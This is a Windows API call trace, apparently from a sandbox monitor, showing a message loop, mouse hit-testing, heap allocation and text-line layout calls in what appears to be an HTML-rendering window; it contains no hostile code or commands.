[0113.936] GetMessageW (in: lpMsg=0x1cf92c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0 | out: lpMsg=0x1cf92c) returned 1
[0114.233] TranslateMessage (lpMsg=0x1cf92c) returned 0
[0114.233] DispatchMessageW (lpMsg=0x1cf92c) returned 0x0
[0114.233] GetCapture () returned 0x0
[0114.233] WindowFromPoint (Point=0x31f) returned 0x1013a
[0114.233] GetWindowLongW (hWnd=0x1013a, nIndex=-21) returned 4728424
[0114.233] GetClientRect (in: hWnd=0x1013a, lpRect=0x1cf3f0 | out: lpRect=0x1cf3f0) returned 1
[0114.233] ScreenToClient (in: hWnd=0x1013a, lpPoint=0x1cf400 | out: lpPoint=0x1cf400) returned 1
[0114.233] PtInRect (lprc=0x1cf3f0, pt=0x2e5) returned 1
[0114.233] GetCurrentThreadId () returned 0x4e0
[0114.233] GetMessageW (in: lpMsg=0x1cf92c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0 | out: lpMsg=0x1cf92c) returned 1
[0114.556] TranslateMessage (lpMsg=0x1cf92c) returned 0
[0114.556] DispatchMessageW (lpMsg=0x1cf92c) returned 0x0
[0114.556] GetCapture () returned 0x0
[0114.556] WindowFromPoint (Point=0x31f) returned 0x1013a
[0114.556] GetWindowLongW (hWnd=0x1013a, nIndex=-21) returned 4728424
[0114.556] GetClientRect (in: hWnd=0x1013a, lpRect=0x1cf3f0 | out: lpRect=0x1cf3f0) returned 1
[0114.556] ScreenToClient (in: hWnd=0x1013a, lpPoint=0x1cf400 | out: lpPoint=0x1cf400) returned 1
[0114.557] PtInRect (lprc=0x1cf3f0, pt=0x2e5) returned 1
[0114.557] GetCurrentThreadId () returned 0x4e0
[0114.557] GetMessageW (in: lpMsg=0x1cf92c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0 | out: lpMsg=0x1cf92c) returned 1
[0114.595] NtdllDefWindowProc_W () returned 0x1
[0114.595] NtdllDefWindowProc_W () returned 0x1
[0114.595] NtdllDefWindowProc_W () returned 0x1
[0114.977] TranslateMessage (lpMsg=0x1cf92c) returned 0
[0114.977] DispatchMessageW (lpMsg=0x1cf92c) returned 0x0
[0114.978] GetCapture () returned 0x0
[0114.979] WindowFromPoint (Point=0x31f) returned 0x1013a
[0114.980] GetWindowLongW (hWnd=0x1013a, nIndex=-21) returned 4728424
[0114.980] GetClientRect (in: hWnd=0x1013a, lpRect=0x1cf3f0 | out: lpRect=0x1cf3f0) returned 1
[0114.980] ScreenToClient (in: hWnd=0x1013a, lpPoint=0x1cf400 | out: lpPoint=0x1cf400) returned 1
[0114.980] PtInRect (lprc=0x1cf3f0, pt=0x2e5) returned 1
[0114.980] GetCurrentThreadId () returned 0x4e0
[0114.982] GetMessageW (in: lpMsg=0x1cf92c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0 | out: lpMsg=0x1cf92c) returned 1
[0115.097] NtdllDefWindowProc_W () returned 0x0
[0115.097] NtdllDefWindowProc_W () returned 0x1013b
[0115.097] NtdllDefWindowProc_W () returned 0x1013b
[0115.169] TranslateMessage (lpMsg=0x1cf92c) returned 0
[0115.169] DispatchMessageW (lpMsg=0x1cf92c) returned 0x0
[0115.169] GetCapture () returned 0x0
[0115.169] WindowFromPoint (Point=0x31f) returned 0x1013a
[0115.169] GetWindowLongW (hWnd=0x1013a, nIndex=-21) returned 4728424
[0115.169] GetClientRect (in: hWnd=0x1013a, lpRect=0x1cf3f0 | out: lpRect=0x1cf3f0) returned 1
[0115.169] ScreenToClient (in: hWnd=0x1013a, lpPoint=0x1cf400 | out: lpPoint=0x1cf400) returned 1
[0115.169] PtInRect (lprc=0x1cf3f0, pt=0x2e5) returned 1
[0115.169] GetCurrentThreadId () returned 0x4e0
[0115.169] GetMessageW (in: lpMsg=0x1cf92c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0 | out: lpMsg=0x1cf92c) returned 1
[0115.196] GetWindowLongW (hWnd=0x1013a, nIndex=-21) returned 4728424
[0115.196] GetClientRect (in: hWnd=0x1013a, lpRect=0x1cf5d0 | out: lpRect=0x1cf5d0) returned 1
[0115.196] ScreenToClient (in: hWnd=0x1013a, lpPoint=0x1cf5e0 | out: lpPoint=0x1cf5e0) returned 1
[0115.196] PtInRect (lprc=0x1cf5d0, pt=0x2e5) returned 1
[0115.196] GetCurrentThreadId () returned 0x4e0
[0115.196] GetWindowLongW (hWnd=0x1013a, nIndex=-21) returned 4728424
[0115.196] ScreenToClient (in: hWnd=0x1013a, lpPoint=0x1cf650 | out: lpPoint=0x1cf650) returned 1
[0115.197] GetMessageTime () returned 41246
[0115.197] GetMessagePos () returned 0x1c4031f
[0115.197] GetCapture () returned 0x0
[0115.197] IntersectRect (in: lprcDst=0x1cf040, lprcSrc1=0x1cf040, lprcSrc2=0x1cf0d0 | out: lprcDst=0x1cf040) returned 1
[0115.197] IntersectRect (in: lprcDst=0x1cedfc, lprcSrc1=0x1cedfc, lprcSrc2=0x1cedcc | out: lprcDst=0x1cedfc) returned 1
[0115.197] IntersectRect (in: lprcDst=0x1cf0e0, lprcSrc1=0x1cf0e0, lprcSrc2=0x1cedec | out: lprcDst=0x1cf0e0) returned 1
[0115.197] HeapFree (in: hHeap=0x450000, dwFlags=0x0, lpMem=0x0 | out: hHeap=0x450000) returned 1
[0115.197] RtlAllocateHeap (HeapHandle=0x450000, Flags=0x0, Size=0x24) returned 0x4b6ca8
[0115.197] IntersectRect (in: lprcDst=0x1cf0e0, lprcSrc1=0x1cf0e0, lprcSrc2=0x1cee0c | out: lprcDst=0x1cf0e0) returned 1
[0115.197] IntersectRect (in: lprcDst=0x1cebd0, lprcSrc1=0x1cebd0, lprcSrc2=0x1cf0d0 | out: lprcDst=0x1cebd0) returned 1
[0115.197] IntersectRect (in: lprcDst=0x1cebd0, lprcSrc1=0x1cebd0, lprcSrc2=0x1cf0d0 | out: lprcDst=0x1cebd0) returned 1
[0115.197] IntersectRect (in: lprcDst=0x1ce808, lprcSrc1=0x1ce808, lprcSrc2=0x1ce7d8 | out: lprcDst=0x1ce808) returned 1
[0115.197] IntersectRect (in: lprcDst=0x1cf168, lprcSrc1=0x1cf168, lprcSrc2=0x1ce7f8 | out: lprcDst=0x1cf168) returned 1
[0115.197] IntersectRect (in: lprcDst=0x1ce98c, lprcSrc1=0x1ce98c, lprcSrc2=0x1ce95c | out: lprcDst=0x1ce98c) returned 1
[0115.197] IntersectRect (in: lprcDst=0x1cf0e0, lprcSrc1=0x1cf0e0, lprcSrc2=0x1ce97c | out: lprcDst=0x1cf0e0) returned 1
[0115.197] HeapFree (in: hHeap=0x450000, dwFlags=0x0, lpMem=0x0 | out: hHeap=0x450000) returned 1
[0115.197] RtlAllocateHeap (HeapHandle=0x450000, Flags=0x0, Size=0x24) returned 0x4b6cd8
[0115.197] IntersectRect (in: lprcDst=0x1ce7c8, lprcSrc1=0x1ce7c8, lprcSrc2=0x1cf0d0 | out: lprcDst=0x1ce7c8) returned 1
[0115.197] IntersectRect (in: lprcDst=0x1cf0e0, lprcSrc1=0x1cf0e0, lprcSrc2=0x1ce99c | out: lprcDst=0x1cf0e0) returned 1
[0115.197] IntersectRect (in: lprcDst=0x1ce760, lprcSrc1=0x1ce760, lprcSrc2=0x1cf0d0 | out: lprcDst=0x1ce760) returned 1
[0115.197] IntersectRect (in: lprcDst=0x1ce760, lprcSrc1=0x1ce760, lprcSrc2=0x1cf0d0 | out: lprcDst=0x1ce760) returned 1
[0115.197] IntersectRect (in: lprcDst=0x1ce4ec, lprcSrc1=0x1ce4ec, lprcSrc2=0x1ce3a4 | out: lprcDst=0x1ce4ec) returned 1
[0115.197] IntersectRect (in: lprcDst=0x1cf0e0, lprcSrc1=0x1cf0e0, lprcSrc2=0x1ce50c | out: lprcDst=0x1cf0e0) returned 1
[0115.197] HeapFree (in: hHeap=0x450000, dwFlags=0x0, lpMem=0x0 | out: hHeap=0x450000) returned 1
[0115.197] RtlAllocateHeap (HeapHandle=0x450000, Flags=0x0, Size=0x24) returned 0x4b6d08
[0115.197] IntersectRect (in: lprcDst=0x1cf0e0, lprcSrc1=0x1cf0e0, lprcSrc2=0x1ce52c | out: lprcDst=0x1cf0e0) returned 1
[0115.197] IntersectRect (in: lprcDst=0x1ce2f0, lprcSrc1=0x1ce2f0, lprcSrc2=0x1cf0d0 | out: lprcDst=0x1ce2f0) returned 1
[0115.197] IntersectRect (in: lprcDst=0x1ce2f0, lprcSrc1=0x1ce2f0, lprcSrc2=0x1cf0d0 | out: lprcDst=0x1ce2f0) returned 1
[0115.197] IntersectRect (in: lprcDst=0x1ce2f0, lprcSrc1=0x1ce2f0, lprcSrc2=0x1cf0d0 | out: lprcDst=0x1ce2f0) returned 1
[0115.197] IntersectRect (in: lprcDst=0x1ce2f0, lprcSrc1=0x1ce2f0, lprcSrc2=0x1cf0d0 | out: lprcDst=0x1ce2f0) returned 1
[0115.197] IntersectRect (in: lprcDst=0x1ce07c, lprcSrc1=0x1ce07c, lprcSrc2=0x1cdf34 | out: lprcDst=0x1ce07c) returned 1
[0115.198] IntersectRect (in: lprcDst=0x1cf0e0, lprcSrc1=0x1cf0e0, lprcSrc2=0x1ce09c | out: lprcDst=0x1cf0e0) returned 1
[0115.198] HeapFree (in: hHeap=0x450000, dwFlags=0x0, lpMem=0x0 | out: hHeap=0x450000) returned 1
[0115.198] RtlAllocateHeap (HeapHandle=0x450000, Flags=0x0, Size=0x24) returned 0x508e20
[0115.198] IntersectRect (in: lprcDst=0x1cf0e0, lprcSrc1=0x1cf0e0, lprcSrc2=0x1ce0bc | out: lprcDst=0x1cf0e0) returned 1
[0115.198] IntersectRect (in: lprcDst=0x1cde80, lprcSrc1=0x1cde80, lprcSrc2=0x1cf0d0 | out: lprcDst=0x1cde80) returned 1
[0115.198] IntersectRect (in: lprcDst=0x1cde80, lprcSrc1=0x1cde80, lprcSrc2=0x1cf0d0 | out: lprcDst=0x1cde80) returned 1
[0115.198] IntersectRect (in: lprcDst=0x1cdcc4, lprcSrc1=0x1cdcc4, lprcSrc2=0x1cdb60 | out: lprcDst=0x1cdcc4) returned 1
[0115.198] HeapFree (in: hHeap=0x450000, dwFlags=0x0, lpMem=0x0 | out: hHeap=0x450000) returned 1
[0115.198] RtlAllocateHeap (HeapHandle=0x450000, Flags=0x0, Size=0x24) returned 0x508e50
[0115.198] IntersectRect (in: lprcDst=0x1cf0e0, lprcSrc1=0x1cf0e0, lprcSrc2=0x1cdcb4 | out: lprcDst=0x1cf0e0) returned 1
[0115.198] IntersectRect (in: lprcDst=0x1cdb70, lprcSrc1=0x1cdb70, lprcSrc2=0x1cf0d0 | out: lprcDst=0x1cdb70) returned 1
[0115.198] IntersectRect (in: lprcDst=0x1cf0e0, lprcSrc1=0x1cf0e0, lprcSrc2=0x1cdcd4 | out: lprcDst=0x1cf0e0) returned 1
[0115.198] PostMessageW (hWnd=0x10136, Msg=0x8002, wParam=0x0, lParam=0x0) returned 1
[0115.198] LsSetDoc () returned 0x0
[0115.198] LsCreateLine () returned 0x0
[0115.198] HeapFree (in: hHeap=0x450000, dwFlags=0x0, lpMem=0x0 | out: hHeap=0x450000) returned 1
[0115.199] LsDestroyLine () returned 0x0
[0115.199] HeapFree (in: hHeap=0x450000, dwFlags=0x0, lpMem=0x0 | out: hHeap=0x450000) returned 1
[0115.199] IntersectRect (in: lprcDst=0x1cdf40, lprcSrc1=0x1cdf40, lprcSrc2=0x1cf0d0 | out: lprcDst=0x1cdf40) returned 1
[0115.199] HeapFree (in: hHeap=0x450000, dwFlags=0x0, lpMem=0x508e20 | out: hHeap=0x450000) returned 1
[0115.199] IntersectRect (in: lprcDst=0x1ce2f0, lprcSrc1=0x1ce2f0, lprcSrc2=0x1cf0d0 | out: lprcDst=0x1ce2f0) returned 1
[0115.199] IntersectRect (in: lprcDst=0x1ce2f0, lprcSrc1=0x1ce2f0, lprcSrc2=0x1cf0d0 | out: lprcDst=0x1ce2f0) returned 1
[0115.199] IntersectRect (in: lprcDst=0x1ce134, lprcSrc1=0x1ce134, lprcSrc2=0x1cdfd0 | out: lprcDst=0x1ce134) returned 1
[0115.199] HeapFree (in: hHeap=0x450000, dwFlags=0x0, lpMem=0x0 | out: hHeap=0x450000) returned 1
[0115.199] RtlAllocateHeap (HeapHandle=0x450000, Flags=0x0, Size=0x24) returned 0x508e20
[0115.199] IntersectRect (in: lprcDst=0x1cf0e0, lprcSrc1=0x1cf0e0, lprcSrc2=0x1ce124 | out: lprcDst=0x1cf0e0) returned 1
[0115.199] IntersectRect (in: lprcDst=0x1cdfe0, lprcSrc1=0x1cdfe0, lprcSrc2=0x1cf0d0 | out: lprcDst=0x1cdfe0) returned 1
[0115.199] IntersectRect (in: lprcDst=0x1cf0e0, lprcSrc1=0x1cf0e0, lprcSrc2=0x1ce144 | out: lprcDst=0x1cf0e0) returned 1
[0115.199] LsSetDoc () returned 0x0
[0115.199] LsCreateLine () returned 0x0
[0115.200] HeapFree (in: hHeap=0x450000, dwFlags=0x0, lpMem=0x0 | out: hHeap=0x450000) returned 1
[0115.200] RtlAllocateHeap (HeapHandle=0x450000, Flags=0x0, Size=0x18) returned 0x4bc520
[0115.200] RtlAllocateHeap (HeapHandle=0x450000, Flags=0x0, Size=0x10) returned 0x4bb328
[0115.200] HeapFree (in: hHeap=0x450000, dwFlags=0x0, lpMem=0x0 | out: hHeap=0x450000) returned 1
[0115.200] LsdnFinishRegular () returned 0x0
[0115.200] LsQueryLinePointPcp () returned 0x0
[0115.200] LsDestroyLine () returned 0x0
[0115.200] HeapFree (in: hHeap=0x450000, dwFlags=0x0, lpMem=0x4bc520 | out: hHeap=0x450000) returned 1
[0115.200] HeapFree (in: hHeap=0x450000, dwFlags=0x0, lpMem=0x0 | out: hHeap=0x450000) returned 1
[0115.200] HeapFree (in: hHeap=0x450000, dwFlags=0x0, lpMem=0x0 | out: hHeap=0x450000) returned 1
[0115.200] HeapFree (in: hHeap=0x450000, dwFlags=0x0, lpMem=0x0 | out: hHeap=0x450000) returned 1
[0115.200] HeapFree (in: hHeap=0x450000, dwFlags=0x0, lpMem=0x0 | out: hHeap=0x450000) returned 1
[0115.200] HeapFree (in: hHeap=0x450000, dwFlags=0x0, lpMem=0x0 | out: hHeap=0x450000) returned 1
[0115.201] HeapFree (in: hHeap=0x450000, dwFlags=0x0, lpMem=0x0 | out: hHeap=0x450000) returned 1
[0115.201] HeapFree (in: hHeap=0x450000, dwFlags=0x0, lpMem=0x0 | out: hHeap=0x450000) returned 1
[0115.201] HeapFree (in: hHeap=0x450000, dwFlags=0x0, lpMem=0x4bb328 | out: hHeap=0x450000) returned 1
[0115.201] HeapFree (in: hHeap=0x450000, dwFlags=0x0, lpMem=0x508e20 | out: hHeap=0x450000) returned 1
[0115.201] IntersectRect (in: lprcDst=0x1ce3b0, lprcSrc1=0x1ce3b0, lprcSrc2=0x1cf0d0 | out: lprcDst=0x1ce3b0) returned 1
[0115.201] HeapFree (in: hHeap=0x450000, dwFlags=0x0, lpMem=0x4b6d08 | out: hHeap=0x450000) returned 1
[0115.201] HeapFree (in: hHeap=0x450000, dwFlags=0x0, lpMem=0x4b6cd8 | out: hHeap=0x450000) returned 1
[0115.201] HeapFree (in: hHeap=0x450000, dwFlags=0x0, lpMem=0x4b6ca8 | out: hHeap=0x450000) returned 1
[0115.201] HeapFree (in: hHeap=0x450000, dwFlags=0x0, lpMem=0x0 | out: hHeap=0x450000) returned 1
[0115.201] PtInRect (lprc=0x1cf27c, pt=0x11cf6) returned 0
[0115.201] LoadCursorA (hInstance=0x0, lpCursorName=0x7f01) returned 0x10005
[0115.201] GetCursor () returned 0x10005
[0115.201] GetCurrentThreadId () returned 0x4e0
[0115.201] TranslateMessage (lpMsg=0x1cf92c) returned 0
[0115.201] DispatchMessageW (lpMsg=0x1cf92c) returned 0x0
[0115.201] GetWindowLongW (hWnd=0x1013a, nIndex=-21) returned 4728424
[0115.201] GetMessageTime () returned 41262
[0115.201] GetMessagePos () returned 0x1c4031f
[0115.201] GetCapture () returned 0x0
[0115.201] GetCurrentThreadId () returned 0x4e0
[0115.201] GetCurrentThreadId () returned 0x4e0
[0115.201] GetCurrentThreadId () returned 0x4e0
[0115.202] IntersectRect (in: lprcDst=0x1cf0c8, lprcSrc1=0x1cf0c8, lprcSrc2=0x1cf158 | out: lprcDst=0x1cf0c8) returned 1
[0115.202] IntersectRect (in: lprcDst=0x1cee84, lprcSrc1=0x1cee84, lprcSrc2=0x1cee54 | out: lprcDst=0x1cee84) returned 1
[0115.202] IntersectRect (in: lprcDst=0x1cf168, lprcSrc1=0x1cf168, lprcSrc2=0x1cee74 | out: lprcDst=0x1cf168) returned 1
[0115.202] HeapFree (in: hHeap=0x450000, dwFlags=0x0, lpMem=0x0 | out: hHeap=0x450000) returned 1
[0115.202] RtlAllocateHeap (HeapHandle=0x450000, Flags=0x0, Size=0x24) returned 0x4b6ca8
[0115.202] IntersectRect (in: lprcDst=0x1cf168, lprcSrc1=0x1cf168, lprcSrc2=0x1cee94 | out: lprcDst=0x1cf168) returned 1
[0115.202] IntersectRect (in: lprcDst=0x1cec58, lprcSrc1=0x1cec58, lprcSrc2=0x1cf158 | out: lprcDst=0x1cec58) returned 1
[0115.202] IntersectRect (in: lprcDst=0x1cec58, lprcSrc1=0x1cec58, lprcSrc2=0x1cf158 | out: lprcDst=0x1cec58) returned 1
[0115.202] IntersectRect (in: lprcDst=0x1ce890, lprcSrc1=0x1ce890, lprcSrc2=0x1ce860 | out: lprcDst=0x1ce890) returned 1
[0115.202] IntersectRect (in: lprcDst=0x1cf1f0, lprcSrc1=0x1cf1f0, lprcSrc2=0x1ce880 | out: lprcDst=0x1cf1f0) returned 1
[0115.202] IntersectRect (in: lprcDst=0x1cea14, lprcSrc1=0x1cea14, lprcSrc2=0x1ce9e4 | out: lprcDst=0x1cea14) returned 1
[0115.202] IntersectRect (in: lprcDst=0x1cf168, lprcSrc1=0x1cf168, lprcSrc2=0x1cea04 | out: lprcDst=0x1cf168) returned 1
[0115.202] HeapFree (in: hHeap=0x450000, dwFlags=0x0, lpMem=0x0 | out: hHeap=0x450000) returned 1
[0115.202] RtlAllocateHeap (HeapHandle=0x450000, Flags=0x0, Size=0x24) returned 0x4b6cd8
[0115.202] IntersectRect (in: lprcDst=0x1ce850, lprcSrc1=0x1ce850, lprcSrc2=0x1cf158 | out: lprcDst=0x1ce850) returned 1
[0115.202] IntersectRect (in: lprcDst=0x1cf168, lprcSrc1=0x1cf168, lprcSrc2=0x1cea24 | out: lprcDst=0x1cf168) returned 1
[0115.202] IntersectRect (in: lprcDst=0x1ce7e8, lprcSrc1=0x1ce7e8, lprcSrc2=0x1cf158 | out: lprcDst=0x1ce7e8) returned 1
[0115.202] IntersectRect (in: lprcDst=0x1ce7e8, lprcSrc1=0x1ce7e8, lprcSrc2=0x1cf158 | out: lprcDst=0x1ce7e8) returned 1
[0115.202] IntersectRect (in: lprcDst=0x1ce574, lprcSrc1=0x1ce574, lprcSrc2=0x1ce42c | out: lprcDst=0x1ce574) returned 1
[0115.202] IntersectRect (in: lprcDst=0x1cf168, lprcSrc1=0x1cf168, lprcSrc2=0x1ce594 | out: lprcDst=0x1cf168) returned 1
[0115.202] HeapFree (in: hHeap=0x450000, dwFlags=0x0, lpMem=0x0 | out: hHeap=0x450000) returned 1
[0115.202] RtlAllocateHeap (HeapHandle=0x450000, Flags=0x0, Size=0x24) returned 0x4b6d08
[0115.202] IntersectRect (in: lprcDst=0x1cf168, lprcSrc1=0x1cf168, lprcSrc2=0x1ce5b4 | out: lprcDst=0x1cf168) returned 1
[0115.202] IntersectRect (in: lprcDst=0x1ce378, lprcSrc1=0x1ce378, lprcSrc2=0x1cf158 | out: lprcDst=0x1ce378) returned 1
[0115.202] IntersectRect (in: lprcDst=0x1ce378, lprcSrc1=0x1ce378, lprcSrc2=0x1cf158 | out: lprcDst=0x1ce378) returned 1
[0115.202] IntersectRect (in: lprcDst=0x1ce378, lprcSrc1=0x1ce378, lprcSrc2=0x1cf158 | out: lprcDst=0x1ce378) returned 1
[0115.202] IntersectRect (in: lprcDst=0x1ce378, lprcSrc1=0x1ce378, lprcSrc2=0x1cf158 | out: lprcDst=0x1ce378) returned 1
[0115.202] IntersectRect (in: lprcDst=0x1ce104, lprcSrc1=0x1ce104, lprcSrc2=0x1cdfbc | out: lprcDst=0x1ce104) returned 1
[0115.202] IntersectRect (in: lprcDst=0x1cf168, lprcSrc1=0x1cf168, lprcSrc2=0x1ce124 | out: lprcDst=0x1cf168) returned 1
[0115.202] HeapFree (in: hHeap=0x450000, dwFlags=0x0, lpMem=0x0 | out: hHeap=0x450000) returned 1
[0115.202] RtlAllocateHeap (HeapHandle=0x450000, Flags=0x0, Size=0x24) returned 0x508e20
[0115.203] IntersectRect (in: lprcDst=0x1cf168, lprcSrc1=0x1cf168, lprcSrc2=0x1ce144 | out: lprcDst=0x1cf168) returned 1
[0115.203] IntersectRect (in: lprcDst=0x1cdf08, lprcSrc1=0x1cdf08, lprcSrc2=0x1cf158 | out: lprcDst=0x1cdf08) returned 1
[0115.203] IntersectRect (in: lprcDst=0x1cdf08, lprcSrc1=0x1cdf08, lprcSrc2=0x1cf158 | out: lprcDst=0x1cdf08) returned 1
[0115.203] IntersectRect (in: lprcDst=0x1cdd4c, lprcSrc1=0x1cdd4c, lprcSrc2=0x1cdbe8 | out: lprcDst=0x1cdd4c) returned 1
[0115.203] HeapFree (in: hHeap=0x450000, dwFlags=0x0, lpMem=0x0 | out: hHeap=0x450000) returned 1
[0115.203] RtlAllocateHeap (HeapHandle=0x450000, Flags=0x0, Size=0x24) returned 0x508e50
[0115.203] IntersectRect (in: lprcDst=0x1cf168, lprcSrc1=0x1cf168, lprcSrc2=0x1cdd3c | out: lprcDst=0x1cf168) returned 1
[0115.203] IntersectRect (in: lprcDst=0x1cdbf8, lprcSrc1=0x1cdbf8, lprcSrc2=0x1cf158 | out: lprcDst=0x1cdbf8) returned 1
[0115.203] IntersectRect (in: lprcDst=0x1cf168, lprcSrc1=0x1cf168, lprcSrc2=0x1cdd5c | out: lprcDst=0x1cf168) returned 1
[0115.203] LsSetDoc () returned 0x0
[0115.203] LsCreateLine () returned 0x0
[0115.203] HeapFree (in: hHeap=0x450000, dwFlags=0x0, lpMem=0x0 | out: hHeap=0x450000) returned 1
[0115.203] LsDestroyLine () returned 0x0
[0115.203] HeapFree (in: hHeap=0x450000, dwFlags=0x0, lpMem=0x0 | out: hHeap=0x450000) returned 1
[0115.204] IntersectRect (in: lprcDst=0x1cdfc8, lprcSrc1=0x1cdfc8, lprcSrc2=0x1cf158 | out: lprcDst=0x1cdfc8) returned 1
[0115.204] HeapFree (in: hHeap=0x450000, dwFlags=0x0, lpMem=0x508e20 | out: hHeap=0x450000) returned 1
[0115.204] IntersectRect (in: lprcDst=0x1ce378, lprcSrc1=0x1ce378, lprcSrc2=0x1cf158 | out: lprcDst=0x1ce378) returned 1
[0115.204] IntersectRect (in: lprcDst=0x1ce378, lprcSrc1=0x1ce378, lprcSrc2=0x1cf158 | out: lprcDst=0x1ce378) returned 1
[0115.204] IntersectRect (in: lprcDst=0x1ce1bc, lprcSrc1=0x1ce1bc, lprcSrc2=0x1ce058 | out: lprcDst=0x1ce1bc) returned 1
[0115.204] HeapFree (in: hHeap=0x450000, dwFlags=0x0, lpMem=0x0 | out: hHeap=0x450000) returned 1
[0115.204] RtlAllocateHeap (HeapHandle=0x450000, Flags=0x0, Size=0x24) returned 0x508e20
[0115.204] IntersectRect (in: lprcDst=0x1cf168, lprcSrc1=0x1cf168, lprcSrc2=0x1ce1ac | out: lprcDst=0x1cf168) returned 1
[0115.204] IntersectRect (in: lprcDst=0x1ce068, lprcSrc1=0x1ce068, lprcSrc2=0x1cf158 | out: lprcDst=0x1ce068) returned 1
[0115.204] IntersectRect (in: lprcDst=0x1cf168, lprcSrc1=0x1cf168, lprcSrc2=0x1ce1cc | out: lprcDst=0x1cf168) returned 1
[0115.204] LsSetDoc () returned 0x0
[0115.204] LsCreateLine () returned 0x0
[0115.204] HeapFree (in: hHeap=0x450000, dwFlags=0x0, lpMem=0x0 | out: hHeap=0x450000) returned 1
[0115.204] RtlAllocateHeap (HeapHandle=0x450000, Flags=0x0, Size=0x18) returned 0x4bc520
[0115.204] RtlAllocateHeap (HeapHandle=0x450000, Flags=0x0, Size=0x10) returned 0x4bb328
[0115.205] HeapFree (in: hHeap=0x450000, dwFlags=0x0, lpMem=0x0 | out: hHeap=0x450000) returned 1
[0115.205] LsdnFinishRegular () returned 0x0
[0115.205] LsQueryLinePointPcp () returned 0x0
[0115.205] LsDestroyLine () returned 0x0
[0115.205] HeapFree (in: hHeap=0x450000, dwFlags=0x0, lpMem=0x4bc520 | out: hHeap=0x450000) returned 1
[0115.205] HeapFree (in: hHeap=0x450000, dwFlags=0x0, lpMem=0x0 | out: hHeap=0x450000) returned 1
[0115.205] HeapFree (in: hHeap=0x450000, dwFlags=0x0, lpMem=0x0 | out: hHeap=0x450000) returned 1
[0115.205] HeapFree (in: hHeap=0x450000, dwFlags=0x0, lpMem=0x0 | out: hHeap=0x450000) returned 1
[0115.205] HeapFree (in: hHeap=0x450000, dwFlags=0x0, lpMem=0x0 | out: hHeap=0x450000) returned 1
[0115.205] HeapFree (in: hHeap=0x450000, dwFlags=0x0, lpMem=0x0 | out: hHeap=0x450000) returned 1
[0115.205] HeapFree (in: hHeap=0x450000, dwFlags=0x0, lpMem=0x0 | out: hHeap=0x450000) returned 1
[0115.205] HeapFree (in: hHeap=0x450000, dwFlags=0x0, lpMem=0x0 | out: hHeap=0x450000) returned 1
[0115.205] HeapFree (in: hHeap=0x450000, dwFlags=0x0, lpMem=0x4bb328 | out: hHeap=0x450000) returned 1
[0115.205] HeapFree (in: hHeap=0x450000, dwFlags=0x0, lpMem=0x508e20 | out: hHeap=0x450000) returned 1
[0115.205] IntersectRect (in: lprcDst=0x1ce438, lprcSrc1=0x1ce438, lprcSrc2=0x1cf158 | out: lprcDst=0x1ce438) returned 1
[0115.205] HeapFree (in: hHeap=0x450000, dwFlags=0x0, lpMem=0x4b6d08 | out: hHeap=0x450000) returned 1
[0115.205] HeapFree (in: hHeap=0x450000, dwFlags=0x0, lpMem=0x4b6cd8 | out: hHeap=0x450000) returned 1
[0115.205] HeapFree (in: hHeap=0x450000, dwFlags=0x0, lpMem=0x4b6ca8 | out: hHeap=0x450000) returned 1
[0115.205] HeapFree (in: hHeap=0x450000, dwFlags=0x0, lpMem=0x0 | out: hHeap=0x450000) returned 1
[0115.206] ClientToScreen (in: hWnd=0x1013a, lpPoint=0x1cf3f4 | out: lpPoint=0x1cf3f4) returned 1
[0115.206] RtlAllocateHeap (HeapHandle=0x450000, Flags=0x0, Size=0xf8) returned 0x4f52e8
[0115.206] GetCurrentThreadId () returned 0x4e0
[0115.206] CActiveIMMAppEx_Trident:IActiveIMMApp:OnDefWindowProc (in: This=0x492320, hWnd=0x1013a, msg=0x200, wParam=0x0, lParam=0x17402e5, plResult=0x1cf4ec | out: plResult=0x1cf4ec) returned 0x1
[0115.206] NtdllDefWindowProc_W () returned 0x0
[0115.206] HeapFree (in: hHeap=0x450000, dwFlags=0x0, lpMem=0x4f52e8 | out: hHeap=0x450000) returned 1
[0115.206] GetCurrentThreadId () returned 0x4e0
[0115.206] GetMessageW (in: lpMsg=0x1cf92c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0 | out: lpMsg=0x1cf92c) returned 1
[0115.206] TranslateMessage (lpMsg=0x1cf92c) returned 0
[0115.206] DispatchMessageW (lpMsg=0x1cf92c) returned 0x0
[0115.206] GetCurrentThreadId () returned 0x4e0
[0115.206] GetCurrentThreadId () returned 0x4e0
[0115.206] GetCurrentThreadId () returned 0x4e0
[0115.207] GetMessageW (in: lpMsg=0x1cf92c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0 | out: lpMsg=0x1cf92c) returned 1
[0115.480] TranslateMessage (lpMsg=0x1cf92c) returned 0
[0115.480] DispatchMessageW (lpMsg=0x1cf92c) returned 0x0
[0115.480] GetCapture () returned 0x0
[0115.480] WindowFromPoint (Point=0x31f) returned 0x1013a
[0115.480] GetWindowLongW (hWnd=0x1013a, nIndex=-21) returned 4728424
[0115.480] GetClientRect (in: hWnd=0x1013a, lpRect=0x1cf3f0 | out: lpRect=0x1cf3f0) returned 1
[0115.480] ScreenToClient (in: hWnd=0x1013a, lpPoint=0x1cf400 | out: lpPoint=0x1cf400) returned 1
[0115.480] PtInRect (lprc=0x1cf3f0, pt=0x2e5) returned 1
[0115.481] GetCurrentThreadId () returned 0x4e0
[0115.481] GetMessageW (in: lpMsg=0x1cf92c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0 | out: lpMsg=0x1cf92c) returned 1
[0115.557] GetWindowLongW (hWnd=0x1013a, nIndex=-21) returned 4728424
[0115.557] GetClientRect (in: hWnd=0x1013a, lpRect=0x1cf5d0 | out: lpRect=0x1cf5d0) returned 1
[0115.558] ScreenToClient (in: hWnd=0x1013a, lpPoint=0x1cf5e0 | out: lpPoint=0x1cf5e0) returned 1
[0115.558] PtInRect (lprc=0x1cf5d0, pt=0x2e5) returned 1
[0115.558] GetCurrentThreadId () returned 0x4e0
[0115.558] GetWindowLongW (hWnd=0x1013a, nIndex=-21) returned 4728424
[0115.558] ScreenToClient (in: hWnd=0x1013a, lpPoint=0x1cf650 | out: lpPoint=0x1cf650) returned 1
[0115.558] GetMessageTime () returned 41558
[0115.558] GetMessagePos () returned 0x1c4031f
[0115.558] GetCapture () returned 0x0
